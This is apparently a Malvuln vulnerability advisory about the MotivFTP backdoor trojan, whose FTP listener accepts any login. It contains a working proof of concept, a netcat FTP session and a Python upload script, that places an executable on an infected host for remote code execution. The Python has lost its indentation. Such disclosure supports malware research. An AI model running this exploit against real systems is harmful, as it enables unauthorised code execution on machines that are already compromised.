Backdoor.Win32.MotivFTP.12 Authentication Bypass

`Discovery / credits: Malvuln - malvuln.com (c) 2022  
Original source: https://malvuln.com/advisory/91b2d216c5d26d9db4289acf68fa1743.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.MotivFTP.12  
Vulnerability: Authentication Bypass   
Description: The malware listens on TCP port 21. Third-party attackers who can reach infected systems can logon using any username/password combination. Intruders may then upload executables using ftp PASV, STOR commands, this can result in remote code execution.  
Family: MotivFTP  
Type: PE32  
MD5: 91b2d216c5d26d9db4289acf68fa1743  
Vuln ID: MVID-2022-0544   
Disclosure: 04/14/2022  
  
  
Exploit/PoC:  
C:\>nc64.exe 192.168.18.125 21  
220 FTP Server ready  
USER malvuln  
331 Password required for malvuln.  
PASS malvuln  
230 User malvuln logged in.  
SYST  
215 UNIX Type: L8 Internet Component Suite  
PASV  
CDUP \  
250 CWD command successful. "C:/" is current directory.  
PASV  
227 Entering Passive Mode (192,168,18,125,194,25).  
STOR DOOM.exe  
150 Opening data connection for DOOM.exe.  
226 File received ok  
  
  
from socket import *  
import time  
  
HOST = "192.168.18.125"  
PORT = 49689  
BUF_SIZE = 32  
s=socket(AF_INET, SOCK_STREAM)  
s.connect((HOST, PORT))  
  
with open("DOOM.exe", "rb") as f:  
while True:   
bytez = f.read(BUF_SIZE)  
if not bytez:  
break  
s.send(bytez)  
time.sleep(0.5)  
  
print("By malvuln")  
s.close()  
  
  
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